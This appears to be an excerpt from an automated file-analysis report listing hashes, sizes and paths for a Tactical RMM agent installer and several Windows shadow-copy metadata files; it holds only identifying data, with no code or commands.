- SSDEEP 393216:dHHG2fGy6Q2R1qWlSw3f6kpbKK4st1YFV8XNb977WFYj5yQnKI12pCUx6:5lfGy60WlSw37mlu1YcYFYj5Vj2MUx6
- TLSH T10D27332A7E8ECB31C6BB143286AD3F1D17BA3C254495912FD3A8F05D19B2E801B199D7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Temp\tacticalagent-v2.11.0-windows-amd64.exe
- Size 5.0MB
- SHA256 c685032015152dd6f91b5ec2036e2da240a190911b87b1f7fdeba1440070c37d
- MD5 e131b75f9a08bc4af25eed2bee6ec040
- SHA1 f429470ed1c2bb9ea0154fceb06fb5e22407bebd
- SHA512 3c76277f219fc647c9ca70a0b5f796901de4090702b678376f3275973a5fb9f97ba5e7c7b6f806e105206143e013fbcbb992b90868407d9b04b59c50c44d5633
- SSDEEP 98304:IxHXsCBOHmvSqeKcNSoL1ttaFYhi2/1hg/z7sDf9SQAIbC4qf:wsCBgmaqeKcHHUFYQK1S789Sl48
- TLSH T18236122372CB613FF07A4A3A49B6D236453B6E6065128C669BF45C6FFE260D11D3F242
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 9db37a4665a41a2c228bef0ffebe60a849c8bb678551db5b5b3af53918095cf1
- MD5 fe51be98d354ce7b94bfcca6aa5cd5ec
- SHA1 dc08a4e619e9bf3f0aae419c22a9cfc9a54549f9
- SHA512 56b419d02ecc3dd6cbdcf1ac3a351d3d1865063dc546cb19dd0b1ff4282d43012e1623505c507b07eed9d950bcae729c749f605cab772ae1c956ab35675e4804
- SSDEEP 24576:wFo3DMP2doO/vvTL/SghxClQfLu7KrWCkMHjdMP5HkvapWwxMYxWRorg1eJ:LHg
- TLSH T14A57B31836F92101E7B7DE3DA8F0AA234D397D5B9C16DE8D05811B4E0861F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{24fec12f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{694e7163-9e33-4bde-9165-b8dd09cf26b2}_OnDiskSnapshotProp
- Size 6KB
- SHA256 c9b6be195157321377870111c3d8bf10620f32051a170b654de7da08e2701c33
- MD5 380ae10fbfda3de16f3d75e74483dabc
- SHA1 c62f6c09792212898d6d2f5d8c890950e1552f84
- SHA512 17e3fe6ab889017a49b2db5dbee3a998a4c87f86cc25a1940827c774a5dbe3ac32cd115fd7a0cda1b0c35167c84e7ddab04c5c1f22496f4f4610b1c98880bcd1
- SSDEEP 96:Fgwn2fwvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpuN:CtMb++uVmN
- TLSH T1F0D1780C5AE54711E2B3AB7229F18557A877B911EF33CB8E0198238E6670910F875F6B
- MD5 SHA1 SHA512 SSDEEP TLSH